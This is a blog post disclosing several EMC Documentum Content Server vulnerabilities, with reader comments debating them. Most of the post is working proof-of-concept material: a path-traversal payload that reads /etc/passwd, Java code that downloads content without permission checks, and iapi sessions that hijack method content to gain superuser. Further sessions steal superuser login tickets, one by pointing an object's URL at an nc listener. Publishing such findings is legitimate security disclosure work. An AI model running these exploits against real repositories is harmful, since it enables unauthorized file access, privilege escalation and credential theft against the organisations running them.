New set of Documentum vulnerabilities

It’s hard to say that vulnerabilities, described below, are new, because all of them were discovered more than 6 months ago, but I had no idea what to do with them. On April 2014 I made an experiment aimed to figure out whether responsible disclosure makes sense or not. Now it’s pretty clear that responsible disclosure does not make sense:

  • for the last year I have never been contacted by EMC, so if somebody from EMC will ever say you something like “product security is my most important focus area” – never trust him
  • CERT/CC completely fails in coordinating responsible disclosure – their dumb spreadsheet at current moment is completely wrong (actually, for the last year EMC was able to fix only two or three security issues in Documentum products – I think to publish soon complete review of all existing security issues in Documentum)

Any user may get access to Documentum filesystem through addrendition call

Documentation:

Practice – code below demonstrates how any user may read arbitrary file from content server filesystem:

~]$ perl -e 'print "file_name=\x27" . "/.."x20 . "/etc/passwd\x27\n"' > property.txt
~]$ echo "page_modifier='pdf'" >> property.txt
~]$ echo "parameters=''" >> property.txt
~]$ tar cf property.tar property.txt

~]$ iapi
...
Connected to Documentum Server running Release 7.0.0140.0644  Linux.Oracle
Session id is s0
API> create,c,dm_document
...
0901ffd78041b31f
API> setfile,c,l,property.txt,crtext
...
OK
API> save,c,l
...
OK
API> addrendition,c,l,property.tar,pdf,0,,T,T,,T,
...
OK
API> getpath,c,l,0,pdf
...
/u01/documentum/cs/data/test/content_storage_01/0001ffd7/80/0f/1f/90.pdf
API> quit
Bye
~]$ head -10 /u01/documentum/cs/data/test/content_storage_01/0001ffd7/80/0f/1f/90.pdf
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin

Content Server does not check user permissions when transferring content

Code below demonstrates how to download content of any dmr_content object:

/**
 * @author Andrey B. Panfilov <andrew@panfilov.tel>
 */
public class Test {

    public static void main(String argv[]) throws DfException {
        IDfSession session = new DfClientX().getLocalClient().newSession(
                "repo", new DfLoginInfo("tes01", "test01"));
        IDocbaseConnection connection = ((ISession) session)
                .getDocbaseConnection();
        ITypedData arguments = new DynamicallyTypedData();
        // storage_id of dmr_content
        arguments.setId("STORE", new DfId("2801ffd780000100"));
        // r_object id of dmr_content
        arguments.setId("CONTENT", new DfId("0601ffd780098039"));
        // data_ticket of dmr_content
        arguments.setInt("TICKET", -2146992834);
        // format or dmr_content
        arguments.setId("FORMAT", new DfId("2701ffd78000011b"));
        arguments.setBoolean("IS_OTHER", false);
        arguments.setBoolean("IS_OFFLINE", false);
        arguments.setBoolean("COMPRESSION", false);
        // arguments.setBoolean("NO_ACCESS_UPDATE", true);
        arguments.setId("SYSOBJ_ID", new DfId("0901ffd780333167"));

        int handle = connection.applyForInt("MAKE_PULLER", null, arguments,
                true, true, true);
        BooleanHolder holder = new BooleanHolder();
        byte[] b = connection.getBlock(handle, 0, holder);
        System.out.println(new String(b));
        int i = 0;
        while (!holder.value) {
            b = connection.getBlock(handle, ++i, holder);
            System.out.println(new String(b));
        }
        // checking that parent_id or dmr_content is inaccessible 
        session.getObject(new DfId("0901ffd780333167"));
    }
}

result:

 ~]$ javac Test.java
 ~]$ java Test
[DOCBROKER_Docbroker01]
NAME=Docbroker01
VERSION=7.0.0.155
PORT=1489
[DOCBASE_repo]
NAME=repo
VERSION=7.0.0.155
DATABASE_CONN=DCTM

Exception in thread "main" DfIdNotFoundException:: THREAD: main; MSG: [DM_API_E_EXIST]error:  "Document/object specified by 0901ffd780333167 does not exist."; ERRORCODE: 100; NEXT: null
        at com.documentum.fc.client.impl.objectmanager.PersistentDataManager.fetchFromServer(PersistentDataManager.java:204)
        at com.documentum.fc.client.impl.objectmanager.PersistentDataManager.getData(PersistentDataManager.java:82)
        at com.documentum.fc.client.impl.objectmanager.PersistentObjectManager.getObjectFromServer(PersistentObjectManager.java:355)
        at com.documentum.fc.client.impl.objectmanager.PersistentObjectManager.getObject(PersistentObjectManager.java:311)
        at com.documentum.fc.client.impl.session.Session.getObject(Session.java:964)
        at com.documentum.fc.client.impl.session.SessionHandle.getObject(SessionHandle.java:653)
        at Test.main(Test.java:44)
Caused by: DfException:: THREAD: main; MSG: [DM_SYSOBJECT_E_NO_BROWSE_ACCESS]error:  "No browse access for sysobject with ID '0901ffd780333167'."; ERRORCODE: 100; NEXT: null
        at com.documentum.fc.client.impl.docbase.DocbaseExceptionMapper.newException(DocbaseExceptionMapper.java:57)
        at com.documentum.fc.client.impl.connection.docbase.MessageEntry.getException(MessageEntry.java:39)
        at com.documentum.fc.client.impl.connection.docbase.DocbaseMessageManager.getException(DocbaseMessageManager.java:137)
        at com.documentum.fc.client.impl.connection.docbase.netwise.NetwiseDocbaseRpcClient.checkForMessages(NetwiseDocbaseRpcClient.java:310)
        at com.documentum.fc.client.impl.connection.docbase.netwise.NetwiseDocbaseRpcClient.applyForObject(NetwiseDocbaseRpcClient.java:653)
        at com.documentum.fc.client.impl.connection.docbase.DocbaseConnection$8.evaluate(DocbaseConnection.java:1313)
        at com.documentum.fc.client.impl.connection.docbase.DocbaseConnection.evaluateRpc(DocbaseConnection.java:1072)
        at com.documentum.fc.client.impl.connection.docbase.DocbaseConnection.applyForObject(DocbaseConnection.java:1305)
        at com.documentum.fc.client.impl.docbase.DocbaseApi.parameterizedFetch(DocbaseApi.java:107)
        at com.documentum.fc.client.impl.objectmanager.PersistentDataManager.fetchFromServer(PersistentDataManager.java:191)
        ... 6 more

Content server does not check user permissions when user modifies dmr_content objects

Any user may interchange content between sysobjects and get superuser privileges, example below demonstrates hijacking content of dm_method object:

 ~]$ cat > test.txt
test
 ~]$ iapi
Please enter a docbase name (docubase): repo
Please enter a user (dmadmin): test01
Please enter password for test01:


Connected to Documentum Server running Release 7.0.0140.0644  Linux.Oracle
Session id is s0
API> retrieve,c,dm_method where use_method_content=TRUE
...
1001ffd7800003bf
API> get,c,l,object_name
...
dm_Migration
API> get,c,l,i_contents_id
...
0601ffd78000dd70
API> create,c,dm_sysobject
...
0801ffd78039f872
API> setfile,c,l,test.txt,text
...
OK
API> save,c,l
...
OK
API> get,c,l,i_contents_id
...
0601ffd78010a761
API> get,c,0601ffd78010a761,data_ticket
...
-2146583173
API> get,c,0601ffd78010a761,content_size
...
5
API> get,c,0601ffd78010a761,full_content_size
...
5
API> apply,c,0601ffd78000dd70,SAVE_CONT_ATTRS,
        data_ticket,I,-2146583173,
        content_size,I,5,
        full_content_size,I,5,
        OBJECT_TYPE,S,dmr_content,
        IS_NEW_OBJECT,B,F
...
q0
API> next,c,q0
...
OK
API> get,c,q0,result
...
1
API> getfile,c,1001ffd7800003bf
...
process2735553202612613208.tmp/0/0601ffd78000dd70.txt
API> ^Z
[1]+  Stopped                 iapi
 ~]$ cat process2735553202612613208.tmp/0/0601ffd78000dd70.txt
test

Any user may get superuser ticket using FTINDEX_AGENT_ADMIN RPC-command

Connected to Documentum Server running Release 7.0.0100.0603  Linux.Oracle
Session id is s0
API> retrieve,c,dm_ftindex_agent_config
...
0801ffd780001976
API> get,c,l,object_name
...
docu70dev01_9200_IndexAgent
API> get,c,l,index_name
...
ssc_dev_ftindex_01
API> apply,c,,FTINDEX_AGENT_ADMIN,NAME,S,ssc_dev_ftindex_01,
     AGENT_INSTANCE_NAME,S,docu70dev01_9200_IndexAgent,ACTION,S,status
...
q0
API> getmessage,c
...
[DM_FT_INDEX_T_INIT_INDEX_AGENT_MSG]info:  "HTTP_POST with args 
     -command status -docbase ssc_dev 
     -user dm_fulltext_index_user 
     -ticket DM_TICKET=T0JKIE5VTEwgMAoxMwp2Z
     -instance docu70dev01_9200_IndexAgent 
     -details false 

to Index Agent docu70dev01_9200_IndexAgent is successful."

Any user may get superuser ticket through CTSAdminMethod docbase method

nc:

~]$ nc -l 7777

api session:

API> create,c,cts_instance_info
...
0801ffd7800e8e53
API> set,c,l,agent_url
SET> http://host:7777/
...
OK
API> set,c,l,websrv_url
SET> http://host:7777/
...
OK
API> set,c,l,status
SET> 1
...
OK
API> set,c,l,inst_type
SET> 1
...
OK
API> save,c,l
...
OK
API> apply,c,,DO_METHOD,METHOD,S,CTSAdminMethod,ARGUMENTS,S,
     '-docbase repo -userid dmadmin -ticket "" -command PING -instanceid 0801ffd7800e8e53'

nc:

POST / HTTP/1.1
Cache-Control: no-cache
Pragma: no-cache
User-Agent: Java/1.6.0_31
Host: host:7777
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
Connection: keep-alive
Content-type: application/x-www-form-urlencoded
Content-Length: 756

docbase=repo&ticket=DM_TICKET%3DT0JKIE5VTE....

Information disclosure in search service

In D6.7SP1 EMC introduced new feature, subscriptions to queries:

As expected, this feature is not documented:

Let’s figure out how subscriptions work…

Query subscriptions functionality is implemented by the following jobs:

  1. dm_FTQBS_DAILY
  2. dm_FTQBS_HOURLY
  3. dm_FTQBS_MONTHLY
  4. dm_FTQBS_WEEKLY

Each of those jobs executes following query to get pending subscriptions:

  SELECT rl.parent_id,
         rl.child_id,
         fs.subscriber_name,
         fs.workflow_id,
         fs.last_exec_date,
         fs.r_modify_date,
         fs.result_strategy
    FROM dm_relation rl, dm_ftquery_subscription fs
   WHERE     rl.child_id = fs.r_object_id
         AND rl.relation_name = 'dm_qbs_relation'
         AND fs.frequency = 'HOURLY|DAILY|WEEKLY|MONTHLY'
ORDER BY 5

Now, if user wants to execute search under superuser account he should just create smartlist, relation and corresponding malicious dm_ftquery_subscription object 🙂

11 thoughts on “New set of Documentum vulnerabilities

  1. How is CTSAdminMethod flawed? You are running iAPI as ‘dmadmin’ user with a valid ticket and you seem to get back a http message ‘dmadmin’ user ticket. So where’s the flaw?

    Like

  2. All these vulnerabilities show that there is no other way as only allow privileged clients to access the documentum repository. (https://blog.documentum.pro/2014/04/14/aplication-access-control/)
    This should be the standard for all bigger installations…

    As D2 for example sends Documentum tickets to configured external widgets as http get parameter, it is very easy for users to create a connection to the repository with tools like DQMan
    (http://www.fme.de/en/services/enterprise-content-management/emc-documentum/dqman/) or any code… They only have to identify the repository host.

    Thanks,
    Jens

    Like

  3. Hi Jens,

    sorry, I can’t agree with your opinion because it is based on wrong assumption: in cryptography we trust – please read “D2 Lockbox”-related topics, those topics clearly demonstrate that cryptography is not a panacea (actually it is, but implementator must have a brain), alternatively you can play with StreamingDownload servlet in D2(-Config?) to see how it allows to hijack arbitrary file from D2’s filesystem 🙂 Another wrong point is to think that if service is vulnerable by design it is enough to restrict access to this service – that is totally wrong, if service is vulnerable you should not use that service at all: we don’t use telnet because it is insecure, do we? The same is applicable for Documentum: at first glance it seems the only way to exploit security vulnerability in FTINDEX_AGENT_ADMIN is get network access to Content Server, this is wrong: nobody knows what clients/customizations customers use, for example cara allows to send API commands, so if customer is using cara as client interface this customer is under security risk. Who is to blame here? Generis? I don’t think so: for a long time all wdk applications were capable to execute api commands through API-tester component, but on February 2014 EMC removed this security flaw, the question is why do not notify partners about security issues in Documentum platform?

    Like

  4. Hi Andrey

    For the last item, you used phrase match to search what you wanted. It’s incorrect. The description can be found from page 183 to 197.

    Your expectation to documentation was no ground. 🙂

    Thanks,
    Dingmeng

    Like

  5. Pingback: How long does it take to remediate security flaw? | Documentum in a (nuts)HELL
  6. Pingback: CVE-2014-4626 | Documentum in a (nuts)HELL
  7. Pingback: CTS challenge | Documentum in a (nuts)HELL
  8. Pingback: When will EMC stop fighting with customers and start care about them? | Documentum in a (nuts)HELL
  9. Pingback: Login tickets | Documentum in a (nuts)HELL

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out / Change )

Twitter picture

You are commenting using your Twitter account. Log Out / Change )

Facebook photo

You are commenting using your Facebook account. Log Out / Change )

Google+ photo

You are commenting using your Google+ account. Log Out / Change )

Connecting to %s